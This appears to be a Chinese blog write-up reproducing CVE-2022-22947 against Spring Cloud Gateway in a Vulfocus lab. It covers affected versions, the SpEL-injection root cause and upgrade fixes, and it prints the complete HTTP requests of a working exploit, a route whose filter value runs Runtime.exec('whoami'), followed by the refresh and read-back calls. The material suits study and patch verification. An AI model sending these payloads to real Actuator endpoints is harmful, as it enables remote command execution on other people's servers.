其他分享
首页 > 其他分享> > CVE-2022-22947(Spring Cloud Gateway)远程代码执行漏洞复现

CVE-2022-22947(Spring Cloud Gateway)远程代码执行漏洞复现

作者:互联网

一、漏洞概述

2022年3月1日,VMware官方发布漏洞报告,在使用Spring Colud Gateway的应用程序开启、暴露Gateway Actuator端点时,会容易造成代码注入攻击,攻击者可以制造恶意请求,在远程主机进行任意远程执行。   二、影响版本 Spring Cloud Gateway 3.1.x < 3.1.1
Spring Cloud Gateway 3.0.x < 3.0.7
旧的、不受支持的版本也会受到影响
 

三、漏洞原理

大白话就是说:因为ShortcutConfigurable.java中的getValue方法可以被ConfigurationService.java包中ConfigurableBuilder的normalizeProperties函数的this.properties参数控制修改,攻击者通过添加带有filter的恶意路由,当重新加载路由时,会触发对参数的归一化逻辑,从而导致filter参数value中的SPEL表达式被解析。

 大佬文章链接:https://blog.csdn.net/include_voidmain/article/details/123819107

 

四、漏洞复现环境

Kali Linux + Vulfocus
渗透机:Kali Linux 
靶机:Vulfocus

 

五、实验步骤

1.开启vulfoucs并获取实验镜像

 

2.访问网页并抓包

3.构造并发送恶意的路由请求

POST /actuator/gateway/routes/hacktest HTTP/1.1
Host: 192.168.117.131:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like 		Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 329

{
  "id": "hacktest",
 "filters": [{
"name": "AddResponseHeader",
"args": {
  "name": "Result",
  "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"whoami\"}).getInputStream()))}"
}
  }],
  "uri": "http://example.com"
}

filters

 

4.应用之前的路由发送此数据包,此数据包可触发表达式

POST /actuator/gateway/refresh HTTP/1.1
Host: 192.168.117.131:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

 

 

5.发送此数据包,查看命令回显,可以看到之前添加的路由

GET /actuator/gateway/routes/hacktest HTTP/1.1
Host: 192.168.117.131:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

 

6.访问actuator API接口

GET /actuator HTTP/1.1
Host: 192.168.117.131:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

 

7.访问env接口并获取flag

 

8.完结撒花

 

六、修复方式

1)3.1.x用户应升级到3.1.1+;

2)3.0.x用户应升级到3.0.7+;

3)如果不需要Actuator功能,可以通过management.endpoint.gateway.enable:false配置将其禁用。

 

标签:Spring,Accept,Content,537.36,22947,代码执行,actuator,gateway,路由
来源: https://www.cnblogs.com/wavesky/p/16245003.html